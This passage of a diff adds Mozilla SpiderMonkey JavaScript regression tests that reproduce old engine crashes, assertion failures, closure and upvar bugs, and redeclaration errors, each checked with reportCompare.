+var actual = '';
+var expect = '';
+
+//------- Comment #160 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// crash [@ js_Interpret]
+ (eval("(function(){ this.watch(\"x\", function () { new function ()y } ); const y = undefined });"))();
+ x = NaN;
+ reportCompare(expect, actual, summary + ': 2');
+
+// Assertion failure: JOF_OPTYPE(op) == JOF_ATOM, at ../jsemit.cpp:5916
+ ({ set z(v){}, set y(v)--x, set w(v)--w });
+ reportCompare(expect, actual, summary + ': 3');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-168-1.js b/js/src/tests/js1_8_1/regress/regress-452498-168-1.js
new file mode 100644
index 000000000..c94653e49
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-168-1.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #168 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: (fun->u.i.script)->upvarsOffset != 0, at ../jsfun.cpp:1543
+
+ (
+ new Function("const x = (function () { if (1e+81){} else{x} } )"
+ ))();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-168-2.js b/js/src/tests/js1_8_1/regress/regress-452498-168-2.js
new file mode 100644
index 000000000..b41a5211c
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-168-2.js
@@ -0,0 +1,32 @@
+// |reftest| skip -- slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #168 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: cg->upvars.lookup(atom), at ../jsemit.cpp:2047
+
+ for (let x; __defineSetter__; (<{x}></{x}> for (x in x))) {}
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-176.js b/js/src/tests/js1_8_1/regress/regress-452498-176.js
new file mode 100644
index 000000000..77460e789
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-176.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #176 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: pn_arity == PN_FUNC || pn_arity == PN_NAME, at ../jsparse.h:449
+
+ if(delete( 5 ? [] : (function(){})() )) [];
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-181.js b/js/src/tests/js1_8_1/regress/regress-452498-181.js
new file mode 100644
index 000000000..df5f3a160
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-181.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #181 From Jesse Ruderman
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 3;
+
+ (function(print) { delete print; })(); print(actual = 3);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-185.js b/js/src/tests/js1_8_1/regress/regress-452498-185.js
new file mode 100644
index 000000000..1c88dc348
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-185.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #185 From Jesse Ruderman
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: redeclaration of var e';
+ try
+ {
+ eval('{ var e = 3; let e = ""; } print(typeof e);');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-187.js b/js/src/tests/js1_8_1/regress/regress-452498-187.js
new file mode 100644
index 000000000..e4138ba28
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-187.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #187 From Jesse Ruderman
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('const x = undefined; for (x in []);');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-191.js b/js/src/tests/js1_8_1/regress/regress-452498-191.js
new file mode 100644
index 000000000..1628d7f87
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-191.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #191 From Brendan Eich
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Error';
+ try
+ {
+ eval('{ var x; {let x;} }');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ expect = 'SyntaxError: redeclaration of let x';
+ try
+ {
+ eval('{ let x; {var x;} }');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-192.js b/js/src/tests/js1_8_1/regress/regress-452498-192.js
new file mode 100644
index 000000000..6f176788b
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-192.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #192 From Brendan Eich
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ let x;
+ with({x: (x -= 0)}){([]); const x = undefined; }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-466905-01.js b/js/src/tests/js1_8_1/regress/regress-466905-01.js
new file mode 100644
index 000000000..882f8d7e3
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-466905-01.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466905;
+var summary = 'Do not assert: v_ins->isCall() && v_ins->callInfo() == &js_FastNewArray_ci';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(a) { for each (let c in a) [(c > 5) ? 'A' : 'B']; }
+ f([true, 8]);
+ f([2]);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-466905-02.js b/js/src/tests/js1_8_1/regress/regress-466905-02.js
new file mode 100644
index 000000000..89872af19
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-466905-02.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466905;
+var summary = 'Do not assert: v_ins->isCall() && v_ins->callInfo() == &js_FastNewArray_ci';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < 5; i++)
+ [(i > 3) ? 'a' : 'b'];
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-479430-01.js b/js/src/tests/js1_8_1/regress/regress-479430-01.js
new file mode 100644
index 000000000..c61cea7d4
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-479430-01.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ f(n - 1);
+ f(n - 1);
+ }
+ }
+
+ f(100);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-479430-02.js b/js/src/tests/js1_8_1/regress/regress-479430-02.js
new file mode 100644
index 000000000..04e6fca89
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-479430-02.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ try { f(n - 1); } catch (e) {}
+ try { f(n - 1); } catch (e) {}
+ }
+ throw 0;
+ }
+
+ f(100);
+
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-479430-03.js b/js/src/tests/js1_8_1/regress/regress-479430-03.js
new file mode 100644
index 000000000..dcac2bfb5
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-479430-03.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ f(n - 1);
+ f(n - 1);
+ }
+ try {
+ return 0;
+ } finally {
+ n++;
+ }
+ }
+
+ f(100);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-479430-04.js b/js/src/tests/js1_8_1/regress/regress-479430-04.js
new file mode 100644
index 000000000..7ddcea3b0
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-479430-04.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout== 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ try { f(n - 1); } catch (e) {}
+ try { f(n - 1); } catch (e) {}
+ }
+ name_that_does_not_exists;
+ }
+
+ f(100);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-479430-05.js b/js/src/tests/js1_8_1/regress/regress-479430-05.js
new file mode 100644
index 000000000..b811202f8
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-479430-05.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ try { f(n - 1); } finally { f(n - 1); }
+ }
+ name_that_does_not_exists;
+ }
+
+ f(100);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-495773.js b/js/src/tests/js1_8_1/regress/regress-495773.js
new file mode 100644
index 000000000..53c0387a7
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-495773.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 495773;
+var summary = 'Read upvar from trace-entry frame from JSStackFrame instead of tracing native stack';
+var actual = ''
+var expect = '010101';
+//-----------------------------------------------------------------------------
+function f() {
+ var q = [];
+ for (var a = 0; a < 3; ++a) {
+ (function () {
+ for (var b = 0; b < 2; ++b) {
+ (function () {
+ for (var c = 0; c < 1; ++c) {
+ q.push(b);
+ }
+ })();
+ }
+ })();
+ }
+ return q.join("");
+}
+
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ actual = f();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-495907.js b/js/src/tests/js1_8_1/regress/regress-495907.js
new file mode 100644
index 000000000..12ac1ef83
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-495907.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 495907;
+var summary = 'Read upvar from trace-entry frame when created with top-level let';
+var actual = ''
+var expect = '00112233';
+//-----------------------------------------------------------------------------
+
+// The test code needs to run at top level in order to expose the bug.
+start_test();
+
+var o = [];
+for (let a = 0; a < 4; ++a) {
+ (function () {for (var b = 0; b < 2; ++b) {o.push(a);}}());
+}
+actual = o.join("");
+
+finish_test();
+//-----------------------------------------------------------------------------
+
+function start_test() {
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+}
+
+function finish_test() {
+ reportCompare(expect, actual, summary);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-496922.js b/js/src/tests/js1_8_1/regress/regress-496922.js
new file mode 100644
index 000000000..7b32c26c1
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-496922.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 496922;
+var summary = 'Incorrect handling of extra arguments';
+var actual = ''
+var expect = '0,0,1,1,2,2,3,3';
+
+
+//-----------------------------------------------------------------------------
+
+// The code must run as part of the top-level script in order to get the bug.
+enterFunc ('test');
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = [];
+{
+let f = function() {
+ for (let x = 0; x < 4; ++x) {
+ (function() {
+ for (let y = 0; y < 2; ++y) {
+ a.push(x);
+ }
+ })()
+ }
+}; (function() {})()
+ f(99)
+}
+actual = '' + a;
+
+reportCompare(expect, actual, summary);
+exitFunc ('test');
+//-----------------------------------------------------------------------------
+
diff --git a/js/src/tests/js1_8_1/regress/regress-507053.js b/js/src/tests/js1_8_1/regress/regress-507053.js
new file mode 100644
index 000000000..ace72f326
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-507053.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 507053;
+var summary = 'TM: invalid results with setting a closure variable in a loop'
+var actual = '';
+var expect = '2,4,8,16,32,2,4,8,16,32,2,4,8,16,32,2,4,8,16,32,2,4,8,16,32,';
+
+
+//-----------------------------------------------------------------------------
+start_test();
+
+var f = function() {
+ var p = 1;
+
+ function g() {
+ for (var i = 0; i < 5; ++i) {
+ p = p * 2;
+ actual += p + ',';
+ }
+ }
+ g();
+}
+
+for (var i = 0; i < 5; ++i) {
+ f();
+}
+
+finish_test();
+//-----------------------------------------------------------------------------
+
+function start_test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+}
+
+function finish_test()
+{
+ reportCompare(expect, actual, summary);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-507295.js b/js/src/tests/js1_8_1/regress/regress-507295.js
new file mode 100644
index 000000000..7a1de77e0
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-507295.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 507295;
+var summary = 'TM: assert with using result of assignment to closure var'
+var actual = '';
+var expect = 'do not crash';
+
+
+//-----------------------------------------------------------------------------
+start_test();
+
+(function () {
+ var y;
+ (eval("(function () {\
+ for (var x = 0; x < 3; ++x) {\
+ ''.replace(/a/, (y = 3))\
+ }\
+ });\
+ "))()
+})()
+
+actual = 'do not crash'
+finish_test();
+//-----------------------------------------------------------------------------
+
+function start_test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+}
+
+function finish_test()
+{
+ reportCompare(expect, actual, summary);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-509354.js b/js/src/tests/js1_8_1/regress/regress-509354.js
new file mode 100644
index 000000000..cbf4cfc59
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-509354.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff <jorendorff@mozilla.com>
+ */
+
+// Decompile destructuring argument named `arguments` correctly.
+var actual = "" + function ([arguments]) {return arguments;};
+compareSource('function ([arguments]) {return arguments;}', actual, "part 1");
+
+// Make sure the 'arguments' argument actually works.
+var f = function ([arguments]) {return arguments + 1;};
+reportCompare(3.25, f([2.25]), "part 2");
+
+// Throw SyntaxError when `arguments` appears twice in a destructuring parameter.
+actual = "no exception";
+try {
+ eval('(function ([arguments, arguments]) {return arguments();})');
+} catch (exc) {
+ actual = exc.name;
+}
+reportCompare("SyntaxError", actual, "part 3");
+
+// And again...
+actual = "no exception";
+try {
+ eval('(function ([a, b, arguments, d], [e, f, arguments]) {return arguments();})');
+} catch (exc) {
+ actual = exc.name;
+}
+reportCompare("SyntaxError", actual, "part 4");
+
+// The original test case from bug 509354. Don't crash.
+try {
+ eval('print(function([arguments,arguments,arguments,arguments,arguments,' +
+ 'arguments,arguments,arguments,arguments,arguments,arguments,' +
+ 'arguments,arguments,arguments,arguments,arguments]){})');
+} catch (exc) {
+}
+reportCompare("no crash", "no crash", "part 5");
+
diff --git a/js/src/tests/js1_8_1/regress/regress-522123.js b/js/src/tests/js1_8_1/regress/regress-522123.js
new file mode 100644
index 000000000..7a491e094
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-522123.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 522123;
+var summary = 'Indirect eval confuses scope chain';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+var x=1;
+
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 1;
+
+ evil=eval;
+ {
+ let x=2;
+ actual = evil("x");
+ };
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_1/regress/regress-524264.js b/js/src/tests/js1_8_1/regress/regress-524264.js
new file mode 100644
index 000000000..78006bd6c
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-524264.js
@@ -0,0 +1,7 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+uneval(function () { do yield; while (0); });
+reportCompare("no assertion failure", "no assertion failure", "bug 524264");
diff --git a/js/src/tests/js1_8_1/regress/regress-524743.js b/js/src/tests/js1_8_1/regress/regress-524743.js
new file mode 100644
index 000000000..8bd3cd6ee
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-524743.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if((isDebugBuild&&!xulRuntime.shell)||Android) -- hang
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+if (typeof gczeal != 'undefined' && typeof gc != 'undefined') {
+ try
+ {
+ gczeal(2);
+ var obj = {};
+ for (var i = 0; i < 50; i++) {
+ obj["_" + i] = 0;
+ gc();
+ }
+ }
+ catch(ex)
+ {
+ }
+ gczeal(0);
+}
+reportCompare("no assertion failure", "no assertion failure", "bug 524743");
diff --git a/js/src/tests/js1_8_1/regress/regress-530879.js b/js/src/tests/js1_8_1/regress/regress-530879.js
new file mode 100644
index 000000000..39931d1c3
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-530879.js
@@ -0,0 +1,9 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+function f(a, b, c, d) {
+ yield arguments.length;
+}
+reportCompare(0, f().next(), "bug 530879");
diff --git a/js/src/tests/js1_8_1/regress/shell.js b/js/src/tests/js1_8_1/regress/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/shell.js
diff --git a/js/src/tests/js1_8_1/shell.js b/js/src/tests/js1_8_1/shell.js
new file mode 100644
index 000000000..ef2f97fe1
--- /dev/null
+++ b/js/src/tests/js1_8_1/shell.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// NOTE: This only turns on 1.8.1 in shell builds. The browser requires the
+// futzing in js/src/tests/browser.js (which only turns on 1.8, the most
+// the browser supports).
+if (typeof version != 'undefined')
+{
+ version(181);
+}
+
diff --git a/js/src/tests/js1_8_1/strict/12.2.1.js b/js/src/tests/js1_8_1/strict/12.2.1.js
new file mode 100644
index 000000000..674c7a7c6
--- /dev/null
+++ b/js/src/tests/js1_8_1/strict/12.2.1.js
@@ -0,0 +1,75 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+
+/*
